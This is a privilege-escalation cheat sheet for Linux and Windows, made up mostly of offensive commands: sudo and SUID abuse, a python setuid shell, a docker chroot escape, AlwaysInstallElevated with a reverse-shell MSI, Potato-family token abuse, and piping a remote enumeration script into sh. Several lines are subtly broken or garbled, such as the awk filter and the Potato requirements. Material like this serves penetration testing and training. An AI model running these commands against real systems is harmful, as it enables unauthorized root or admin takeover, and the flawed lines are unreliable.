Privilege Escalation Cheat Sheet

Goal: from low-priv to root/admin. Enumerate FIRST, act SECOND. On real boxes use linpeas/winpeas plus manual checks.

Linux — Enumerate (top 10 checks)

1. sudo -l — NOPASSWD / whitelisted sudo commands
2. find / -perm -4000 2>/dev/null — SUID binaries
3. crontab -l, /etc/crontab, /var/spool/cron — writable scripts/root jobs
4. Kernel & distro versions uname -a; cat /etc/os-release → searchsploit
5. awk -F: '$3==0 {$1}' /etc/passwd — other UID 0 users, writable passwd
6. Writable PATH dirs echo $PATH + check if debug binaries run from there
7. Capabilities getcap -r / 2>/dev/null (e.g. python3 + cap_setuid)
8. NFS no_root_squash /etc/exports writable → root squash mounts
9. Docker group membership id → docker socket escape
10. Writable services/systemd units (restart as root) — find /etc/systemd -writable

Linux — Exploits

• SUID known: pkexec CVE-2021-4034, sudo CVE-2019-14287, mysql -u root
• Sudo wildcard: sudo tar cf /dev/null --checkpoint=1 --checkpoint-action=exec="sh root.sh"
• sudo mysqldump/sudo man/sudo vi → !/bin/sh escape
• cap_setuid python: python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
• Docker escape (if group): docker run -v /:/mnt --rm -it alpine chroot /mnt sh
• Kernel searchsploit <kernel>, dirtycow class only if really old (2026: defenses, hard)

Linux — Automated

curl -sL https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/linPEAS/linpeas.sh | sh
./linpeas.sh -a
# also: linEnum.sh, pspy (process snooping for cron in-memory)
./pspy64

Windows — Enumerate (top 10)

1. whoami /priv — SeImpersonatePrivilege, SeBackupPrivilege etc.
2. whoami /groups — Admin / SID filtering for tokens
3. sc queryex type= service state= all — unquoted paths, writable service bins
4. Registry reg query HKLM\SOFTWARE\... autologon, SAM backups
5. Unquoted service path wmic service get name,pathname | findstr /i /v "C:\Windows"
6. Writable folders / AlwaysInstallElevated (MSI)
7. Stored creds cmdkey /list, saved RDP creds reg query "HKCU\Software\Microsoft\Terminal Server Client"
8. Kernel/software version → WinExp searchsploit
9. Token impersonation (SeImpersonate): Potato fam (Juicy/Rogue/Sweet Potato), PrintSpoofer, Potatoes for newer — whoami /priv
10. Backup files: dir /s /b *.bak, .kdbx, unattend.xml in C:\Windows\Panther

Windows — Exploits

• SeImpersonate → potato.exe family (requires service running as service + System.Net)
• AlwaysInstallElevated:

  reg query "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated
  # then: msiexec /i rev.msi /quiet
  

• Unquoted path → drop executable in path space folder
• Weak service ACL: icacls "C:\Program Files\svc.exe" → replace, sc stop/start
• Passwords in registry/LAPS net accounts; Get-Content C:\ProgramData\...\pass.xml
• WinPEAS over manual alone https://github.com/carlospolop/PEASS-ng/raw/master/winPEAS/winPEAS.bat

Superscale Best Practice

• 90% of boxes are: sudo misconfig OR unquoted service path OR world-writable cron OR horizontal config leak (admin creds in logs)
• Always double check for other users’ interesting files before kernel POCs.